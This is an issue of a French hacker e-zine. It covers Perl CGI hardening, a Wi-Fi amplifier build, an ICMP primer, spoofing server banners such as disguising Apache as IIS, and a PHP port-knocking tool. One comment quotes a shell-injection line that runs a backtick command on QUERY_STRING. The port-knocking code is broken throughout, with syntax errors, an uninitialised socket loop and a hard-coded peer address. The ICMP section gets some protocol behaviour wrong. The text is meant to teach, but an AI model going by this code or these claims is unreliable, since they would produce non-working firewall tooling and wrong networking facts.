(ndt: Aller, je vous laisse le reste du log non traduit comme bonus ;)

<Strider> nice lec b0iler =)  
<b0iler> no questions worry me. ether it was good or people don't care much.  
<luCky> is this gonna be on a website  
<b0iler> luCky: yes it will be on http://b0iler.eyeonsecurity.net tonight 
and maybe http://blacksun.box.sk if they upload it  
<Vegas> b0iler YOU ARE A FUCKING BASTARD  
<Vegas> pvt now  
<dksk8> lol  
<Strider> LMAO!  
<Strider> rofl  
<dksk8> roflmao  
<dksk8> no questions just <Vegas> b0iler YOU ARE A FUCKING BASTARD  
<b0iler> To conclude the lecture I would like to comment on how obese cyrus is.  
<b0iler> <yank> Cyrus: eat a duck.  
<b0iler> <yank> I mean dick.  
<b0iler> <b0iler> he'll eat both. and then a chicken.  

III-L'add-on aka le serment:

voici ce qu'a dis notre prophet LastCall_ aprs avoir lis l'article:

--------------------
[Snip]
La o sa lecture est incomplte, c'est  qui  parle mme pas du tainted mode  en
perl. #!/usr/bin/perl -T
Le -T print des warnings de scurit, du genre son $blah = `cat
$ENV{'QUERY_STRING'}`;  va printer un warning paske
tu excute une commande avec une variable dedans... et a Perl  t'averti,  donc 
juste en sachant -T, toute la "check list" que b0iler parle est un peu  useless 
vu que le language te la donne en warning... pis pour le reste ben  c'est juste 
que de faire du "find and replace" pour les strings malsaines.. dans ce cas la, 
mieux vaut faire comme Wyze sur www.mindkind.org et  d'utiliser  la  rgle   du 
"j'accepte juste ce que je veux" et  d'utiliser  des  chiffres  only  pour  les 
params, ou encore des lettres only ( \w ou  [A-Za-z] ), au lieu de stripper les 
48000 chars spciaux qui existe... so en rsum,
perl -T
s/\W//g;
$dbh->quotes("$varsql"); # sql injecting protection


3  petits  trucs  qui font que cest un peu plus scure.. la seule  affaire  qui
reste   c   le   "bypass   de  privilge"  et  a,  encore  une  fois  Wyze  et
www.mindkind.org (on est hot hein)  a  la  meilleure  solution : un controlleur
gnrique qui check les access avant de faire quoi  que  se  soit dautre, et ce
pour chaque request a faire a une page CGI).

bon voila serious, je viennes de te  sauver  un  article,  et  je  crois  qu'on
pourrait facilement mettre  mon  "sermont"  comme  entre  article  au  lieu  de
traduire boiler :P
[Snip]
--------------------

Si vous comprenez rien, c'est normale on est bc plus intelligent que vs

IV-Conclusion:
J'en ai pas envie non plus.


a+
SeriousMan, ze good translateur


________________________
Quote: J'en ai pas envie_SeriousMan

.----------------------------------------------- - - --- - ---
| Seriousman   [seriousman at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -    
    
    
    
    
Wireless Addict Anonymes
- Si vous souffrez (ou profitez) d'addiction envers le wireless,
  envoyer vous vos histoires  mk@mindkind.org, a va nous faire
  plaisir de les lires et de les paster dans un entre article
  en toute confidentialit avec nos 450 000 lecteurs           -

-
Cette semaine nous avons Mr_Peuch qui s'fait cuire du poulet
au wifi amplifi et nous raconte son setup  la maison...
-

Application des concepts : SSID FactoryDefault, Chicoutimi, QC

Matriel Utilis:
	1 - Antenne Omni-directionnelle 12dBi ( 4 pied de haut :P )
	1 - Amplificateur bi-directionnel 500mW
	1 - Carte PCI Linksys WMP11 (Prism2.5)
	30 - Pied de cable Coaxial LMR400 Low Loss
	1 - Access Point :
		Ordinateur Pentium 166, 32MB de Ram, LINUX 2.6.7

Software Utilis :
	- Iptables
	- Wireless tools ( iwconfig, iwpriv, etc )
	- Drivers hostap Linux ( http://hostap.epitest.fi/ )

Scurit :
	- WEP
	- Mac Filter
	- Et autre choses qui sont secretes :P

Configuration :
	Tout d'abord, s'assurer  de compiler le  kernel avec support  Wireless.
	Ensuite,  compiler  les drivers  hostap  en modules  et  les installer.
	Choisir si  vous vouler  faire du  NAT avec  iptables ou  simplement du
	routing avec iproute2. Configurer votre carte wireless pour quelle soit
	en mode MASTER  et metter se  que bon vous  semble comme SSID,  KEY, IP
	etc.

Rsultat :
	Au dpart,  on s'attendais  pas que  ma node  sans-fils allait peter le
	1Km. Jai donc tester avec ma senao (200mW) et mon antenne 12dbi. Contre
	toute attente, nous avons reussi a faire 3.2km aec cette configuration.
	Le laptop avec qui on c'est connecter y'avais une senao et une  antenne
	7dBi.  A 3.2Km on avait 30 de link quality a 11mbit ce qui est vraiment
	bon, on  leechais a  400k sec.  Suite   sa, on  a decider de poser mon
	amplificateur  500mW. En  thorie j'tais  supposer doubler	 mon
	signal.  En pratique, c'est exactement ce qui est arriver.  A 3.2Km  on
	avait  50  de  link  quality  et  on  downloadais  a  500k/sec  :).  En
	extrapolant, on pourrait se dmander jusqu'ou ma node se rend en  1mbit.
	Si y'aurait pas tant de montagne, on pourrait tester, mais en theorie a
	6km je devrais avoir encore du signal :)

-
Vous n'tes pas seul a tre wifi addict. *support moral*
-



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.05  unofficial ICMP Protocol RFC
:                              aka ping
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



Tout d'abbord en crivant cet article je suppose que vous avez une connaissance 
minimale du protocole TCP et IP. Cela tant dit venons-en au vif du sujet.

Comme on le sait, le protocole IP ne permet pas la remise de datagrammes  d'une 
faon fiable. En fait il a justement t conu de cette faon pour  qu'il  soit 
le plus simple possible. Qu'arrive t-il lorsqu'un packet se pert dans le rseau 
ou pour une raison quelqu'onque n'arrive pas  destination?  Le  protocole ICMP 
( Internet Control Message Protocol ) est l pour  sauver  la  situation  (  ou 
presque ). Il sert  avertir la source qui a envoy le packet ( gnralement un 
routeur ou tout autres prifriques rseaux ) que ce dernier ne s'est pas rendu 
 destination comme prvu pour une des raisons suivantes:

- L'expiration du champs TTL ( Time To Live );
- La perte d'un des fragments du datagramme;
- L'indisponibilit du protocole, d'un service ou d'un hte;
- L'impossibilit de transmettre un  datagramme parce que la
  fragmentation est interdite et que la taille du datagramme
  est plus grande que le MTU  (  Maximum Transmission Unit )
  du rseau;
- Le rseau est congestionn;


Le  protocole  ICMP  est  obligatoire dans les toutes implmentations de IP. Le
module ICMP run par dessus IP ( voir figure ci-dessous ).



Couche  ___________
rseau |   ___     |<------------- Protocole IP
du     |  |   |<------------------ Module ICMP implment dans IP
modle |  |___|    |
OSI    |___________|





	          [DANS QUEL CAS ICMP GNERE UN MESSAGE?]

Bien qu'il signal des messages d'erreurs, ICMP ne rendra pas IP plus fiable  si 
l'admin ne va pas regarder si ya des messages ICMP  de  temps  en  temps.  Pour 
viter l'apocalipse et surtout la congestion  du  rseau  ICMP  n'envoie  aucun 
message pour les packets ICMP qui ne se rendent  pas    destination.  Un autre 
truc important  savoir c'est que ICMP va gnrer un message d'erreur seulement 
pour le premier packet, celui avec le champs Fragment Offset  0,  et  tout  a 
dans le but de ne pas  congestionner le rseau videmment. Le dernier cas o il 
n'y aura  pas  de  message  ICMP  gnr  est  lorsque la source est un adresse 
broadcast. Pourquoi d'aprs vous? (eheh)




                           [HOW DOES IT WORKS?]


Machine A <--->  Routeur1  <---> Routeur2 <---> Routeur3  <--->  Machine B
                                     |              |
                                      \            /
                                       \          /
                                         Routeur4
                                             |
                                             |--> Rseau x


Supposons que la table de routage de Routeur3 soit totalement fucked up et  que 
selon  celle-ci,  le  packet  doit  tre  rout  vers  Routeur4 plutt que vers 
Machine B, lorsque le packet va arriver au Routeur4,  il  va regarder l'en-tte
du packet et va se rendre compte que Machine B  n'appartient  pas    son  sous
rseaux donc il va gnrer un message d'erreur  ICMP  request (type 5 voir plus
tard) et il va l'envoyer  la source, qui selon le  packet  est  Machine A.  En 
effet, les routeurs n'enregistrent pas la route du packet  moins que  l'option 
Record Route soit active, ce qui est rarement le cas car a grossit  la taille 
de l'en-tte du packet. Lorsque Machine A va recevoir le ICMP  request,  il  va 
envoyer un ICMP reply pour signaler  Routeur4 qu'il a  bien  reu  le  message 
d'erreur et qu'il va prendre un moyen pour que a s'arrange  ( Ex.:  renvoy le 
packet qui a chier ).




			 [PACKET ICMP EN DTAILS]

Le packet ICMP est encapsul dans le packet IP comme ceci:
  ________________________________________________________________
|                 |                                              |
|   En-tte IP    |                  Donnes IP                  |
|_________________|______________________________________________|
                   |               |                              |
                   |  En-tte ICMP |        Donnes ICMP          |
                   |_______________|______________________________|




L'en-tte IP utilis pour transporter un message ICMP a la structure suivante :

Longueur d'en-tte
TOS
Longueur total
Identification
Flags : rarement nesscessaire car un message ICMP est court
Fragment Offset
TTL
Protocole : valeur 1 ( indique ICMP )
Total de contrle
IP source
IP destination

Comme je vous l'ai dit plus haut, je suppose que  vous  avez  une  connaissance
minimale du protocole IP donc je ne m'attarderai pas trop sur a.



Structure gnrale des messages ICMP:



              -----------En-tte ICMP-------------- --Donnes ICMP-
____________|_____________________________________|_______________|
|            |      |      |          |            |               |
| En-tte IP | Type | Code | Total de |  Paramtre |  Informations | + DataLink
|            |      |      | contrle |ou inutilis|               |
|____________|______|______|__________|____________|_______________|
              1octet 1octet  2 octets    4 octets



Valeurs possibles pour le champs Type :

0  : Echo reply
3  : Destination unreachable
4  : Source quench
5  : Redirect
8  : Echo request
11 : Time exceeded
12 : Parameter IP unintelligible
13 : Timestanp request
14 : Timestamp reply
15 : Infotmation request
16 : Information reply
17 : Address mask request
18 : Address mask reply

Ceux qui ne figure pas dans cette  liste  sont  rservs  pour  des  protocoles
exprimentaux et sont suceptible  de  changer. Si vous les voulez tout de mme,
voici la liste:

   1-2: Unassigned
     6: Alternate Host Address
     7: Unassigned
     8: Echo
     9: Router advertisement
    10: Router selection
19-29: Reserved
    30: Traceroute
    31: Datagram conversion error
    32: Mobile host redirect
    33: IPv6 Where-are-you
    34: IPv6 I-am-here
    35: Mobile registration request
    36: Mobile registration reply
37-255: Reserved


Combinaisons possibles pour le champs Type et Code :


Type             Code            Signification


0 (Echo)         0               No code

3 (destination   0               Next Unreachable
   unreachable)   1               Host unreachable
                  2               Protocol unreachable
                  3               Port unreachable
                  4               Fragmentation needed and "Don't Fragment" was
                                  set
                  5               Source route failed
                  6               Destination network unknown
                  7               Destination host unknown
                  8               Source host isolated
                  9               Communication with destination network is
                                  Administratively prohibited
                 10               Communication with destination host is
                                  Administratively prohibited
                 11               Destination network unreachable for type of
                                  service
                 12               Destination host unreachable for type of
                                  service

4 (source        0               No code
   quench)

5 (redirect)     0               Redirect datagram for the network( or subnet )
                  1               Redirect datagram for the host
                  2               Redirect datagram for the type of service and
                                  network
                  3               Redirect datagram for the type of service and
                                  host

8 (Echo)         0               No code

11 (Time exceeded)0               Time to live exceeded in transit
                  1               Fragment reassembly time exceeded

12 (Parameter     0               Pointer indicates the error
   problem)       1               Missing a required option
                  2               Bad length

13 (Timestamp)    0               No code
14 (Timestamp)    0               No code

15 (Information)  0               No code
16 (Information)  0               No code

17 (Address mask) 0               No code
18 (Address mask) 0               No code



Ensuite, le champs total de contrle utilise le  mme  algorithme  que  IP.  Le
champs  Parametre  est  utile  pour  ajouter  des  paramtres  facultatifs  qui 
dpendent  du  message ICMP. Le champs Informations est le champs le plus utile 
car il  comprend  l'en-tte  IP + 64 bits de ULP ( protocol de couche suprieur 
(Upper  Layer Protocol) ) appartenant au datagramme en erreur. C'est donc grce 
 ce champs qu'on peut identifier le datagramme qui a pos problme.





	        [PRINCIPALES COMBINAISONS DE TYPES ET DE CODES]


Type 0/8 : Echo/PING

Les messages ICMP de types 0 et 8 sont les plus utiliss. En effet l'utilitaire 
PING qui est disponible  dans  pratiquement  la  totalit  des  systmes TCP/IP 
utilisent ces types de messages. Je ne dirai rien de plus  sur  PING...  Si  tu 
n'as jamais entendu parler de PING, cesse de lire cet article au plus sacrant.

Type 3 : Destination inacessible

Ce type de message est  utilis  lorsqu'un  prifrique  n'est  pas  capable de
transmettre un datagramme  la destination demande. Les codes mentionnns plus 
haut ont chacun leur signification.

Type 4 : Source Quench

Lorsque  un  routeur  est  surcharg  par  le traffic rseau, les packets qu'il 
reoit s'enmagasinent dans sa mmoire tambon.  Lorsqu'il  n'a  plus  de mmoire
disponible il doit carter les packets qu'il recoit, il envoie alors un message 
ICMP Source Quench pour avertir la source de ralentir le dbit. videment cette 
mthode n'est pas la meilleur puisqu'en  envoyant  d'autres packets, le routeur 
ne fait que congestionner le  rseau  encore  plus qu'il tait avant. Il existe 
des implmentations  plus  pratique  qui surveillent constamment le flux sur le 
rseau et qui  envoient  des messages ICMP lorsque la congestion commence, pour 
viter que la mmoire du routeur ne soit sature.  c'est  ben beau tout a mais 
comment la source fait pour savoir  qu'elle  peut  recommencer    envoyer  des 
packets? Il n'existe aucun moyen  date pour que la source sache quand repartir 
 sender des packets mais les  applications qui utilise TCP sont habituellement 
conues pour savoir quand reprendre la frquence normale.

Type 5 : Redirection

Un message ICMP de type 5 est gnr  lorsqu'un  routeur  trouve  une  meilleur 
route pour router le datagramme que celle prvue. Les codes mentions plus haut 
disent dans quels cas quels messages de type 5 va tre gnr.

Par contre, si les routeurs prennent en compte les messages ICMP  de type 5, il 
se pourrait qu'un hacker malicieux envoie des faux messages ICMP de redirection 
 un routeur afin de perturber le rseau et d'obtenir des informations qui sont 
censes tre  confidentielles.  vous de juger si vous voulez prendre en charge
les messages de redirection.





                       				      [RSUM]

Vu que je suis a peu prs certain que tu te souvient pas de la  moiti  de  cet 
article,  cette  section  va  te  dire  en  quelques  lignes ce qui faut que tu 
retiennes sur le protocole ICMP.

Le  module  ICMP  est  implment  directement  dans  le protocole IP et permet 
d'envoyer des messages de diagnostic lorsqu'il  arrive  quelque  chose  de  pas 
habituelle sur le rseau. Les messages ICMP sont trs utiles pour  la dtection 
de problmes sur le rseau.




				                 [RFC PERTINENTES]


  RFC 792  -  RFC 950  -  RFC 1812  -  RFC 1122  -  RFC 1256  -  RFC 1191

.----------------------------------------------- - - --- - ---
| Sp1d3r   [linux_sucker at hotmail dot com] 
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



--
Comment rouler IIS sur Unix
  aka comment changer ses bannires for fun and profit
--

- Pour le dmon Postfix:

ditez le fichier main.cf  la recherche de la directive smtpd_banner:

smtpd_banner = Jaime bien ecouter star academie

Ensuite, `postfix reload` et `telnet localhost 25` pour s'assurer que  le  tout
fonctionne.

- Pour le dmon Bind:

Dans le bloc options, ajoutez la directive suivante et modifiez la selon  votre 
bon vouloir:

options{
	version "Jaime ecouter du Wilfred";
};

Ensuite,  rechargez   Bind   et  `dig @localhost version.bind chaos txt`   pour
s'assurer que le tout fonctionne.

- Pour le dmon OpenSSH:

ditez le fichier version.h dans le rpertoire d'OpenSSH, et changer  la  ligne 
suivante ->

#define SSH_VERSION     "OpenSSH_1.1.1 - Osti que tu es belle Julie Snyder!"

pour mettre quelque chose qui vous represente plus.

- Pour le dmon Apache:

Dans src/include/httpd.h, cherchez pour

#define SERVER_BASEPRODUCT  "Apache"
#define SERVER_BASEREVISION "1.3.31"

Modifiez cela  votre guise, tel

#define SERVER_BASEPRODUCT  "Microsoft-IIS"
#define SERVER_BASEREVISION "5.0"

recompilez, ensuite allez diter votre fichier httpd.conf et puis allez  mettre
ServerTokens Min (pour faire disparaitre  la  petite  bannire  (Unix)  qui  se 
rajoute  la fin)

-EOF-

--

Vous en  avez  d'autres ?   crivez    banner@mindkind.org et nous mettrons le
texte  jour sur le site web et nous vous rajouterons dans les crdits!

                                                            - g463@mindkind.org



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.06  Heille fait la file comme tout le monde
:                              aka 'ta gueule minable, j'connais l'portier'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |

						
  Nombreuse sont les ocasions ou un hacker, ou voire meme peu etre  vous,  doit 
accedez sont reseau a distance. Pour ce  faire  de nombreuse technologie existe 
afin de faciliter la  tache,  en partant du classic sshd ouvrant les entrailles 
de votre linux ou de votre cygwin au monde exterieur, au client graphique telle 
que VNC, Windows remote desktop  ou  encore  cytrix  metaframe  pour  les  plus 
hardcore dentre vous. Par  contre,  cest programme si merveilleux soit-il ouvre 
une porte de plus su votre ordi. Une porte souvent solide, mais parfois tout de 
meme enfoncable. Qui ne coure pas le risque doublier  de  faire  un  update  de 
securiter un soir ou 10 suedoise soffre  a  vous ?  Et  puis,  pour quel raison 
c'est service devrais t'il  etre  ouvert  a tous 24h/24? Il n'y a effectivement 
aucune raison  pour  laquel  un  service du genre devrait etre ouvert sur votre
machine alors meme que vous travaillez en local dessus. 

plusieur solution soffre a vous.

1) la methode hardi bucherons

il sagit de fermer soit meme les serveurs  de  nos  application   et   de   les 
reouvrir lorsquon croit que l'on risque de peu  etre  en  avoir pour une raison 
quelqu'onque besoin. Cette solution  n'est  pas  tres  efficace, puisque tot ou 
tard, les statistiques  et murphy sont la pour le dire, vous aurrez besoin d'un 
service qui n'est pas lancer. 

2) La methode, jmen calisse, jreste a Quebec

Solution la plus simple, misee sur les statistiques, en vous basant  que  votre 
box est un ip nowhere dans l'ocean Internet.  que personne care vraiment a vous 
hacker anyway, Et que si ca arrive, ben Life, ques-tu veux ?....


Si par contre vous desirez une vrai solution, Il est temps de  penser  au  Port 
Knocking. Comme la plus par des  solutions  possiblement  envisagable  pour  un 
probleme donner, il y a 2 facon darriver a notre fin, la facon compliquer et la 
facon  simple.  La  methode  decrite  dans  cette  article  s'inscrit  dans  la 
philosophie "des  solutions  cheap  pour  les  moyens  du  bord". et  peu  etre 
appliquer par nimporte qui qui possede des talents  moderer  en programation et 
dans l'utilisation dun systeme  linux.  bref  the average joe sur un channel de 
hack et peu etre meme vous.


La theorie sur le port knocking est tres simple, il  sagit  meme   d'une   idee 
vieille comme le monde, celle de fraper avant  dentrer,  plus  particulierement 
dans le cas present, de fraper d'une  facon predeterminer  a  la porte afin que 
celle ci reconnaissant l'intru le laisse entrer, et seulement lui.  En  langage 
simple, un socket en mode listening qui attend  un  code  particulier  (qui peu 
etre une serie de connection  TCP  et/ou UDP a different  port  dans  un  ordre 
different),  ou  encore  une  connection  simple  TCP  ou  UDP etablie selon un 
protocole unique et particulier. Le reste de la job se voulant de  modifier  le 
firewall afin de laisser  penetrer  l'intru  (sont ip)  a  une  serie  de  port 
predeterminer ou determinable (si  supporter par le protocole du port knocker). 
Encore une foi il existe une facon complexe et une facon simple d'y arriver, et
evidament  nous  etudirons  la  facon simple. celle de modifier les  regles  de 
iptables grace a un system call utilisant la  commande iptables suivit d'un set 
d'instruction qui permettra d'effectuer les modifications souhaiter au firewall. 


c'est bien beau tout ca, mais voir concretement comment fonctionne un vrai port 
knocker qui, ca pourrais etre interressant,(et peu etre meme pratique). Et bien
comme si vous ne vous y en attendiez pas c'est ce que vous offre cette article, 
un vrai port knocker detailler et  expliquer. Vous aurez besoin pour l'utiliser 
des items lister si dessous.

Pre-requis

php
linux
iptables
un support reseau TCP/IP based



Tout  ca  semble  bien  complique mais en une vingtaine de lignes php  ont  peu
parvenir  a  construire  un port knocker tres simplet. Evidament pour rendre un 
code aussi petit on doit couper dans les procedures de verification. mais comme 
ici on naccepte que une seul entrer, et que toute les  modification  sont  deja 
hardcoder (bref on est sur de squi va se passer), elles ne sont pas necessaire, 
evidament  les  fonctionnaliter  de  se code sont bien minime. mais un coup que
l'on a access a ssh, on peu faire ce qu'on veut. well, ne vous inquietez pas je 
ne  me  defile  pas  tout  de  suite,  vous  aurrez  plus loin une version plus 
pragmatique de se code.


<?PHP
ini_set('max_execution_time',"99999");r, 
$key="hello\r\n";
$listenport = 9999;
$socket = socket_create_listen($listenport);
$conn = socket_accept($socket);
if (!$socket)
	{
	die("sucker");
	}
while(1)
	{
	sleep(5);
	$buff=socket_read($conn, 1024);
	if (strtolower($buff) == strtolower($key))
		{
	    	socket_getpeername($conn, $addr);
		socket_write($conn, $addr);
		$addr = "192.168.1.1";
		exec("/sbin/iptables -A INPUT -i eth0 -p tcp -d	192.168.1.230 -s $addr --destination-port 22 -j ACCEPT");
		}			
	}
?>


comme vous voyez, il est relativement facile de faire un portknocker de base  a 
partir  du  code  d'un hello world standard au niveau des sockets. puisque dans
cette example, un socket est mi en ecoute d'une clef, (hello dans a l'occurence),
lorsque cette clef  lui est passer, elle ne fait que repondre le ip du demandant
et ajute le firewall en concequence. voyons comment cela fonctionne en vrai. Bon 
tout  le  test  cest  effectuer  en  local,  mais  ca  ne change rien dutout aux 
resultats obtenu qui demontre un parfais fonctionnement du software. 

[root@localhost wyzeman]# /sbin/iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  anywhere             192.168.1.230       tcp dpt:ssh
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain RH-Firewall-1-INPUT (0 references)
target     prot opt source               destination

[root@localhost wyzeman]# telnet 192.168.1.230 9999
Trying 192.168.1.230...
Connected to 192.168.1.230 (192.168.1.230).
Escape character is '^]'.
hello
192.168.1.230^]
telnet> quit
Connection closed.
[root@localhost wyzeman]# /sbin/iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  anywhere             192.168.1.230       tcp dpt:ssh
ACCEPT     tcp  --  192.168.1.1          192.168.1.230       tcp dpt:ssh
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain RH-Firewall-1-INPUT (0 references)
target     prot opt source               destination



Bien sympatique n'est-ce pas, mais on aimerais mieu utiliser la technique de la
serie de port que du mots de passe cucu, (apres  tout, cest presque plus dur  a 
sniffer).  Et  aussi  ya  un  truc  qui suck dans se soft la, le firewall reste 
fermer ad vitam  eternam  c'est  plutot  sucky. Le  code  qui  suit contien les 
modifications  requise,  pour  ouvrir  le  port  ssh  dans iptables, on doit se 
connecter  successivement  sur  les  port 9999 6666 et 3333 de notre serveur et 
envoyer un point (.) suivie d'un enter sur chaque, pour refermer le firewall il 
suffit de refaire le meme truc.



<?PHP
ini_set('max_execution_time',"99999");
$key="hello\r\n";
$dropkey="bye\r\n";
$local= "192.168.1.230";
$listenport[0] = 9999;
$listenport[1] = 6666;
$listenport[2] = 3333;
$flag[0] = FALSE;
$flag[1] = FALSE;
$flag[2] = FALSE;
$state = out;
for ($x=0;$x<count($socket);$x++)
	{
		$socket[$x] = socket_create_listen($listenport[$x]);
		$conn[$x] = socket_accept($socket[$x]);	
	}
	

if (!$socket)
	{
	die("sucker");
	}
while(1)
	{
	sleep(5);
	for($x=0;$x<count($conn);$x++)
		{
		$buff=socket_read($conn[$x], 1024);
		if (!$flag[0] && !$flag[1] && !$flag[2] && $x == 0)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = TRUE;
				}	
			}
		if ($flag[0] && !$flag[1] && !$flag[2] && $x == 1)
			{
			if ($buff == ".\r\n";)
				{
				$flag[1] = TRUE;
				}	
			}
		if ($flag[0] && !$flag[1] && !$flag[2] && $x == 2)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;
				}	
			}					
		if ($flag[0] && !$flag[1] && !$flag[2] && $x == 0)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;
				}	
			}
		if ($flag[0] && $flag[1] && !$flag[2] && $x == 2)
			{
			if ($buff == ".\r\n";)
				{
				if ($state == "out")
					{
					exec("/sbin/iptables -A INPUT -i eth0 -p tcp -d $local -s $addr --destination-port 22 -j ACCEPT");					
					}
				else 
					{
					exec("/sbin/iptables -D INPUT -i eth0 -p tcp -d $local -s $addr --destination-port 22 -j ACCEPT");
					}
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;				
				}	
			}
		if ($flag[0] && $flag[1] && !$flag[2] && $x == 0)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;
				}	
			}
		if ($flag[0] && $flag[1] && !$flag[2] && $x == 1)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;					
				}
			}
						
		}
	}
?>


evidament se  connecter  3x de suite sur des ports differents pour faire .enter 
ce  n'est pas tres amusant, c'est pourquoi la majoriter des gens qui utilise un 
portknocker  de  se  type  le  font en conjonction avec un programme client qui 
produit l'algorythme desirer.


<?PHP
$port[0] 9999;
$port[1] 6666;
$port[2] 3333;

for ($x=0;$x<count($port);$x++)
	{
	$socket[$x] = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
	$conn[$x] = socket_connect($socket[$x]);
	$socket_write($conn[$x], ".\r\n");
	$socket_close($socket[$x]);
	}
?>



Pour le client rien de bien compliquer n'est requis, il ne fait apres tout  que 
automatiser une seul tache simple. Pour  cette  article  nous  arreterons  ici. 
l'essentiel aura ete dit. Pour ce qui est  du port knocker. Jajouterais quelque
fonction pour le rendre dynamique  ainsi  qu'un menu pour modifier iptables aux
gres sans avoir se connecter ulterieurement par ssh pour faire les  changements
a la main. Cette version fini sera releaser sur le site web en tant venu.


.----------------------------------------------- - - --- - ---
| Wyzeman   [Wyzeman at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < Mindkind tales from IRC >

  [02:38] <TheCopss> MindAway, 1 coin de rue de plus, tu t'aurais rouler a
                     terre pendans des heures.
  [02:38] <TheCopss> MindAway, Yavais des pute sur le coter, La fille vois
                     H3 et va a coter et marche a coter assez proche, y y
                     dis "kesse kia ?" moi jme tourne pis a le fixais, a y
                     dis "rien" pis BANG a fonce dans un arbre pis a tombe
                     a terre
  [02:39] <TheCopss> J'ai fhaie creve d'un ACV apres sa
  [02:39] <TheCopss> sa chum pute a parti a rire comme un malade :p
  [02:39] <TheCopss> les pimp nous fixais d'un air bizzard :p
  [02:52] <MindAway> hahahahahahahahahahaha
  [02:52] <MindAway> omfg

  < ----------------------- >



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.07  Radio scrap
:                              aka 'des boutes pi des affaires en remote'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



Se jour  de grce  de lanne  du singe,  me pousse  aujourdhui   vous montrer
comment singer  ;)  Singer  <Imiter, contrefaire.>  se mot  de quelques  lettres
nest malheureusement pas utiliser   son plein potentiel, apprendre  et  encore
mieux raliser  en se  servait du  savoir des  autres est  une des  plus  belles
possibilit de ce monde.Ca vous permet souvent mme datteindre un but spcifique
sans vous soucier des lois de la physique, de plusieurs  contraintes   complexes
et surtout du refus daide  redondant de personnes qualifier.  Aujourdhui  dans
ce petit et instructif article on va  apprendre  singer, comme  des vrai ;)  ..
sans  remord,  sans complication..  soyez naturel  et la  nature  saura  venir 
vous..  Par  contre un  minimum  de connaissance  en  lectronique  vous  aidera
grandement.. (et ici on parle dun minimum de type positif, ngatif).  

Combien de fois  vous tres vous  dj demander comment  vous pourriez faire  un
gadget  complexe,  avec un  rel  potentiel qui  pourrait  satisfaire tout  vous
besoins, voir mme en cre chez vos voisins!..   Mais quelle tait donc la cause
de labandon de  ces projets?, quel  tait donc le  problme principal qui  vous
arrtait  systmatiquement quand  venait ltape  de la  ralisation voir  mme
celle de  la fabulation!?  Plusieurs facteur  jen suis  sur, la conception trop
complexe, les pices introuvables voir hors de prix, ou encore limmense travail
logistique quil vous faudrait  afin de mettre   bien votre projet. Et  bien en
cette anne  du singe,  nous allons  singer!.. Lessentiel  nest peut-tre pas
tant davoir la connaissance mais bien  davoir le produit fini:) .. Et  pour y
arriver tout est permit. Voici donc la mthode propos en bref, vous avez besoin
dun transmetteur  et dun  rcepteur pour  un projet,  vous voulez  par exemple
contrler   distance un  objet quelconque,   bien sur  cre de  toute pice ces
diffrents modules ncessiterais des  pices spcifiques, du temps,  et beaucoup
dexprimentation. En revanche se servir de  ce qui existe dj, sous une  autre
forme soit, mais tout de mme, est souvent de meilleur augure.. ici je pense par
exemple  une petite voiture tlguider cheap, mme trs CHEAP, qui  ne  demande
qu  tre utilise  du moins  pour quelques  heures!:P Souvent  les gens  sont
berns par le tape  lil, le flasheux, des lumires vives etc mais  quest-ce
qui  contrle cette  voiture tlguider?  Bien sur  le circuit  quil VOUS  faut
justement  Avec un peu de recule on se rend bien compte que ce qui fait avancer
ce vhicule cest bien-sur son circuit de contrle,  bien sur il y a des moteurs
pour les roues etc. Mais ce qui vous intresse cest le contrle, le  contrle
si vous dsirez  tout de mme  utiliser ces petits  moteurs par la  suite, soit,
vous pourrez trs bien le faire, ou vous en servir dans dautres projets futurs.
Voyez-vous ce qui fais le charme de ces singeries, cest que vous avec un  board
lectronique simple, optimis,  petit, qui bnficie des avantages des  procds
de fabrication moderne (et truster moi vous tres  100 lieu datteindre une tel
perfection  la  maison!), en plus  vous navec mme  pas  faire  de tests pour
savoirs si ca marche ou pas, vous ne vous casser pas non plus la tte  faire le
plan du transmetteur, comprendre la  physique des ondes, celle de  la modulation
